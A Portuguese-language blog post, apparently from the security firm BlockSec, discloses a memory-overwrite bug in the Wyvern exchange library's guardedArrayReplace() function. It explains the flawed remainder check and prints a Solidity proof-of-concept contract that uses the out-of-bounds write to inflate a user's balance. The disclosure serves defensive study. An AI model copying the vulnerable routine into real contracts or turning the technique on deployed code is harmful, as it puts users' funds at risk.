Back to Blog

Uma Nova Vulnerabilidade de Sobrescrita de Memória Descoberta no Protocolo Wyvern

Code Auditing
September 8, 2022
7 min read

Introdução

Nosso sistema de detecção de vulnerabilidades encontrou uma vulnerabilidade de sobrescrita de memória na implementação mais recente da biblioteca Wyvern, que pertence ao protocolo de exchange descentralizada Wyvern anteriormente utilizado pela OpenSea. Este bug pode levar a uma escrita arbitrária no armazenamento.

Tentamos contatar o projeto (por exemplo, por e-mail e redes sociais), mas ainda não obtivemos resposta. Como a OpenSea migrou para o protocolo Seaport, acreditamos ser seguro divulgar as informações detalhadas ao público. Além disso, gostaríamos de compartilhar essas descobertas para engajar a comunidade, já que o bug em si é um pouco complicado, enquanto a exploração é bastante interessante.

Descrição

O código vulnerável pode ser encontrado no repositório oficial do código com o hash de commit 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.

Especificamente, este bug está na função guardedArrayReplace() do ArrayUtils.sol. Como o nome sugere, esta função é usada para copiar seletivamente um array de bytes de tamanho dinâmico (ou seja, o segundo parâmetro chamado desired) para outro (ou seja, o primeiro parâmetro chamado array). Note que esta função é implementada para realizar uma operação em nível de palavra (ou seja, 0x20 bytes), portanto a lógica do código pode ser dividida em duas etapas com base no resultado do cálculo da divisão.

Para a parte do quociente (ou seja, words = array.length / 0x20), a lógica do código da linha 42 à linha 49 copiará o array desejado para o array alvo palavra por palavra. Esta etapa funciona conforme esperado, embora a instrução assert na linha 39 seja inútil devido à aritmética de inteiros.

Após a etapa anterior, se a divisão produzir um resto, significa que ainda existem alguns bytes que não foram copiados corretamente. A lógica do código da linha 52 à linha 66 foi projetada para lidar com esses bytes. Infelizmente, a instrução if na linha 52 usa erroneamente o quociente (words, ou seja, array.length / 0x20) em vez do resto (array.length % 0x20) para realizar a verificação.

A gravidade

Este bug pode levar a uma escrita arbitrária no armazenamento. Suponha que array.length seja exatamente divisível por 0x20, a operação de cópia é de fato realizada na lógica do loop. No entanto, na maioria dos casos, a função entrará na lógica vulnerável e tentará copiar uma palavra após o array desejado para o array alvo, o que inevitavelmente causa um acesso fora dos limites. Pior ainda, a lógica incorreta poderia ser explorada para sobrescrever uma palavra no final do array alvo, que é uma área de memória desconhecida que pode ter qualquer uso.

Como explorar este bug?

Desenvolvemos um contrato PoC para ilustrar o vetor de ataque potencial. O contrato PoC possui duas funções: a primeira, chamada test(), é usada para realizar o ataque, enquanto a segunda é apenas a função vulnerável guardedArrayReplace().

Especificamente, na função test(), primeiro definimos alguns bytes na memória (a, b e mask) e um array (ou seja, _rewards). O _rewards definido aqui será usado para calcular as recompensas do usuário. Após invocar a função guardedArrayReplace() para copiar a para b com mask, _rewards será adicionado ao saldo do usuário (ou seja, balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

Aqui usamos o Remix para demonstrar o resultado. Vale notar que, inicialmente, não atribuímos nenhum valor a _rewards e balances. Após a exploração, o saldo do usuário é definido como um valor extremamente grande (conforme mostrado no retângulo vermelho).

Conclusão

Embora raras, tais vulnerabilidades de sobrescrita de memória ainda podem existir em contratos inteligentes. Os desenvolvedores precisam prestar atenção à lógica do código que manipula a memória.

Sobre a BlockSec

A BlockSec é uma empresa pioneira em segurança de blockchain fundada em 2021 por um grupo de especialistas em segurança de renome mundial. A empresa está comprometida em aprimorar a segurança e a usabilidade para o emergente mundo Web3, a fim de facilitar sua adoção em massa. Para isso, a BlockSec oferece serviços de auditoria de segurança para contratos inteligentes e chains EVM, a plataforma Phalcon para desenvolvimento de segurança e bloqueio proativo de ameaças, a plataforma MetaSleuth para rastreamento e investigação de fundos, e a extensão MetaDock para construtores web3 que navegam com eficiência no mundo cripto.

Até o momento, a empresa atendeu mais de 300 clientes renomados, como MetaMask, Uniswap Foundation, Compound, Forta e PancakeSwap, e recebeu dezenas de milhões de dólares em duas rodadas de financiamento de investidores proeminentes, incluindo Matrix Partners, Vitalbridge Capital e Fenbushi Capital.

Site oficial: https://blocksec.com/

Conta oficial no Twitter: https://twitter.com/BlockSecTeam

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit